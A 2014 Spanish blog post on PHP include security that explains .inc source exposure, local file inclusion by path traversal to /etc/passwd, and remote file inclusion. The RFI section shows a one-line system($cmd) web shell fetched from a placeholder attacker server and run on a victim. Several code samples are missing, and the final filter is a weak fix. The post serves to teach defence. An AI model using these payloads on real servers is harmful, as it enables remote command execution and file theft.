martes, 1 de abril de 2014

[Parte 5] Seguridad en PHP

Includes

Muchas veces en algun desarollo web utilizamos la inclusion de archivos, ya sea por que, el proyecto esta creciendo considerablemente, en este caso tambien se piensa la programacion orientada a objetos (POO)como alternativa, como dijimos en este caso veremos sobre incluir archivos y existen funciones para ello en PHP tal como include, require, y tambien estan include_once, require_once


Exposicion del codigo fuente

Como vimos en la parte 3 de seguridad en PHP mostrabamos una imagen en las credenciales de acceso de un archivo .inc, este tipo de exposicion es un problema de los mas frecuentes con includes... siendo asi los mayores problemas serian:

- archivos .inc como includes
- los archivos .inc se almacenan dentro de /www donde el publico los puede ver
- Apache no reconoce los archivos .inc como algun tipo de extension
- Apache tiene DefaultType configurado en text/plain

Con quiere decir que todo archivo .inc que incluyas dentro del directorio publico se vera como texto plano, y puede ser visto por cualquier persona.

Para solucionar este tipo de problemas... podriamos poner los archivos .inc fuera del directorio publico /www donde solo pueda ser visto por el administrador del sistema...

O tambien en lugar de ponerle extension .inc a un archivo ponerle extension .php, o simplemente denegar el acceso a este tipo de extensiones:

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>




Puerta trasera en URLs

Muchas veces en una aplicacion web no incluyen sesiones y lo unico que hacen es un include, por ejemplo:



Con esto como informacion_sensitiva.php se encuentra dentro de la raiz del documento (/www) entonces cualquier usuario puede acceder directamente a la url, donde puede haber informacion relevante o simplemente una seccion que no deberiamos de estar viendo.


Manipulacion en el nombre del archivo

Este es un tipo de vulnerabilidad tambien es llamada LFI, pueden encontrar un post acerca de ella en este mismo blog:

http://arthusu.blogspot.mx/2013/02/local-file-include-lfi.html


Siguiendo para explicar lo basico, digamos que tenemos un codigo como el siguiente:



En este ejemplo, se incluye una variable llamada username, la cual esta por metodo GET, la cual incluye archivos html, un ejemplo seria poner, en la url algo como:

http://ejemplo.com/index.php?username=acaelarchivo

Con esto se incluiria el archivo .html


Lo que pasa aqui es que podriamos recorrer directorios de manera que encontremos algunos datos que nosotros queramos incluir, por ejemplo:

http://ejemplo.com/index.php?username=../admin/usuarios

Lo cual en el codigo se veria algo como:



Lo que pasaria aqui es que si te das cuenta, solo estamos agregando archivos html, entonces este tipo de restriccion se puede evitar utiilizando nullbyte (), por ejemplo, quedaria mas o menos asi:

http://ejemplo.com/index.php?username=../etc/passwd

Lo cual nos daria como resultado el archivo passwd donde se encuentran todos los usuarios de un sistema linux.

Para evitar este tipo de vulnerabilidad podemos usar la funcion basename() e incluir los archivos en una carpeta includes/ de esta manera solo se incluiran los archivos de tal carpeta, la funcion basename() devuelve el componente de nombre de rastreo de la ruta...




Tambien podriamos hacer una inspeccion de la ruta:



La funcion realpath() nos devuelve el nombre de la ruta absoluta canonizado, en este caso si nuestra ruta es algo como: ./../../etc/passwd la ruta absoluta seria /etc/passwd.

La funcion pathinfo() devuelve informacion acerca de la ruta de un fichero, en el caso de opcion dirname, si tuviesemos la siguiente ruta: /www/htdocs/inc/lib.inc.php con la opcion dirname seleccionada nos daria como resultado solo el directorio... /www/htdocs/inc.


Inyeccion de codigo

Puede darse el caso de que en una inclusion, este habilitada la directiva allow_url_fopen() la cual nos permitiria incluir archivos de urls externas, con lo cual podriamos incluir nuestro archivo .php para que ejecute comandos, este tipo de inyeccion de codigo tambien esta conocido como Remote file inclusion (RFI) y ya no es tan comun como lo era antes.

En el caso de que fuera asi nosotros subimos un archivo a nuestro host, que puede contener algun codigo como:

<?php
  system($cmd);
?> 


El cual puedo incluir en la url de la siguiente manera:

http://[servidorvictima].com/index.php?pagina=http://[servidoratacante].com/shell.txt&&cmd=ls

Con lo cual estariamos ejecutando comandos...

Una forma de evitar esto, es desabilitar la directiva allow_url_fopen() o simplemente crear un script como el siguiente:

<?php
   $url = str_replace(array(':','.','/','\\'),'',$url);
   include_once($url);
?>
  


Referencias:

* Essential PHP Security
* Wikipedia
* PHP documentacion oficial

No hay comentarios:

Publicar un comentario en la entrada